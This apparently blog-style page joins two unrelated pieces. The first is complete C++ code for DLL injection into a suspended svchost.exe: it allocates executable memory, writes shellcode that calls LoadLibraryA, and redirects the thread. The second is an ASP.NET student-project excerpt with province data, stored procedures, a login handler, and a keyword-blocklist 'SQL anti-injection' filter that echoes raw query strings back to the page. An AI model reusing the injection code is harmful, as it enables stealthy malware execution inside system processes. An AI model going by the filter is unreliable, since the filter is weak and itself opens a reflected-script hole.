dll注入

// DllInjection.cpp : Defines the entry point for the console application.
//

#include <Windows.h>
#include <Shlwapi.h>

#pragma comment(lib, "Shlwapi.lib")

typedef struct _SHELL_CODE
{
	char szPath[MAX_PATH];   //加载dll的路径
	char szInstruction[0x20];   //dll代码
} SHELL_CODE, *PSHELL_CODE;

int main(int argc, CHAR* argv[])
{
	STARTUPINFO SI = {0};
	PROCESS_INFORMATION PI = {0};
	CONTEXT Context = {0};
	LPVOID Buffer = NULL;
	TCHAR ApplicationName[MAX_PATH] = "C:\\Windows\\System32\\svchost.exe";
	
	SI.cb = sizeof(SI);
	//创建子进程
	if (!CreateProcess(ApplicationName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI,	&PI))
	{
		return -1;
	}
	
	//获取主线程的Context
	Context.ContextFlags = CONTEXT_INTEGER;
	if (!GetThreadContext(PI.hThread, &Context))
	{
		return -1;
	}
	
	CHAR szDllName[] = "C:\\Dlltest.dll";
	CHAR szShellCode[] = "\x60\x68\x12\x34\x56\x78\xb8\x12\x34\x56\x78\xff\xd0\x61\xe9\x12\x34\x56\x78";
	
	//在子进程分配空间
	Buffer = VirtualAllocEx(PI.hProcess, NULL, sizeof(SHELL_CODE), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (Buffer == NULL)
	{
		return -1;
	}
	
	*(DWORD*)(szShellCode + 2) = (DWORD)Buffer;
	*(DWORD*)(szShellCode + 7) = (DWORD)LoadLibraryA;
	*(DWORD*)(szShellCode + 15) = Context.Eax - (DWORD)((PUCHAR)Buffer + FIELD_OFFSET(SHELL_CODE, szInstruction) + sizeof(szShellCode) - 1);
	
	SHELL_CODE ShellCode;
	CopyMemory(((PSHELL_CODE)&ShellCode)->szPath, szDllName, sizeof(szDllName));
	CopyMemory(((PSHELL_CODE)&ShellCode)->szInstruction, szShellCode, sizeof(szShellCode));
	
	DWORD NumberOfBytesWritten = 0;
	if (!WriteProcessMemory(PI.hProcess, Buffer, &ShellCode, sizeof(SHELL_CODE), &NumberOfBytesWritten))
	{
		return -1;
	}
	
	Context.Eax = (DWORD)(((PSHELL_CODE)Buffer)->szInstruction);
	
	if (!SetThreadContext(PI.hThread, &Context))
	{
		return -1;
	}
	
	ResumeThread(PI.hThread);
	
	return 0;
}


本人自己做的 登录和注册页面 sql防注入 网页查询 插入 更新数据库 省市三级联动 GridView的使用等等 里面的资料都很详细文件大小2.99 MB (3,143,053 字节) 解压后8.04 MB (8,431,678 字节) 下面是相关的代码 省市三级联动 <?xml version="1.0" encoding="utf-8"?> <area Country="China"> <province ID="0" provinceID="000000" province="请选择"> <City CityID="000000" City="请选择"> <Piecearea PieceareaID="110101" Piecearea="请选择" /> </City> </province> <province ID="1" provinceID="110000" province="北京市"> <City CityID="110100" City="市辖区"> <Piecearea PieceareaID="110101" Piecearea="东城区" /> <Piecearea PieceareaID="110102" Piecearea="西城区" /> <Piecearea PieceareaID="110103" Piecearea="崇文区" /> <Piecearea PieceareaID="110104" Piecearea="宣武区" /> <Piecearea PieceareaID="110105" Piecearea="朝阳区" /> <Piecearea PieceareaID="110106" Piecearea="丰台区" /> <Piecearea PieceareaID="110107" Piecearea="石景山区" /> <Piecearea PieceareaID="110108" Piecearea="海淀区" /> <Piecearea PieceareaID="110109" Piecearea="门头沟区" /> <Piecearea PieceareaID="110111" Piecearea="房山区" /> <Piecearea PieceareaID="110112" Piecearea="通州区" /> <Piecearea PieceareaID="110113" Piecearea="顺义区" /> <Piecearea PieceareaID="110114" Piecearea="昌平区" /> <Piecearea PieceareaID="110115" Piecearea="大兴区" /> <Piecearea PieceareaID="110116" Piecearea="怀柔区" /> <Piecearea PieceareaID="110117" Piecearea="平谷区" /> </City> <City CityID="110200" City="县"> <Piecearea PieceareaID="110228" Piecearea="密云县" /> <Piecearea PieceareaID="110229" Piecearea="延庆县" /> </City> sql防注入 2.添加全局应用程序类 void Application_BeginRequest(object sender, EventArgs e) { //SQL防注入 string Sql = "and|or|exec|insert|select|delete|update|count|char|truncate|declare|drop|create"; //把所有敏感字符串过滤 string[] sql_c = Sql.Split('|'); if (Request.QueryString != null) { foreach (string sl in sql_c) { if (Request.QueryString.ToString().IndexOf(sl.Trim()) >= 0) //查询字符串与敏感字符比较,如果匹配将记录IP地址,停止该页执行 { Response.Write("警告!你的IP地址:" + Request.ServerVariables["Remote_Addr"] + "已经被记录!不要使用敏感字符!");//获取攻击方IP地址 Request.ServerVariables["Remote_Addr"] Response.Write(sl); Response.Write(Request.QueryString.ToString()); Response.Write(Request.ServerVariables["Http_Referer"]); //请求的字符串内容 Response.Write("你的主机名是:"+Request.ServerVariables["SERVER_NAME"].Trim());//输出主机名 System.IO.StreamWriter sw= new System.IO.StreamWriter("c:\\a.txt"); sw.Write(DateTime.Now.ToString()+" IP地址"+Request.ServerVariables["Remote_Addr"]+"对网站进行SQL攻击"); sw.Close(); Response.End(); //停止该页执行 break; } } } } 3 存储过程 CREATE PROCEDURE Pro_Login @sno char(5), @password char(20) AS select sno from users where sno=@sno and password=@password GO CREATE PROCEDURE Pro_Score @sno char(5) AS select sno,cno,scgrade from sc where sno=@sno GO default1页面: protected void Button1_Click(object sender, EventArgs e) { string str = "server=.;Integrated Security=true;DataBase=student"; SqlConnection sqlconn = new SqlConnection(str); sqlconn.Open(); SqlCommand cmd = new SqlCommand("Pro_Login", sqlconn); cmd.CommandType=CommandType.StoredProcedure; SqlParameter parm1 = new SqlParameter("@sno", SqlDbType.Char, 5); SqlParameter parm2 = new SqlParameter("@password", SqlDbType.Char, 20); parm1.Direction = ParameterDirection.Input; parm2.Direction = ParameterDirection.Input; parm1.Value = TextBox1.Text; parm2.Value = TextBox2.Text; cmd.Parameters.Add(parm1); cmd.Parameters.Add(parm2); SqlDataReader dr = cmd.ExecuteReader(); if (dr.Read()) { Session["username"] = TextBox1.Text; Response.Redirect("Default2.aspx?sno=" + TextBox1.Text ); } else { Response.Write("用户名或密码错误"); }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值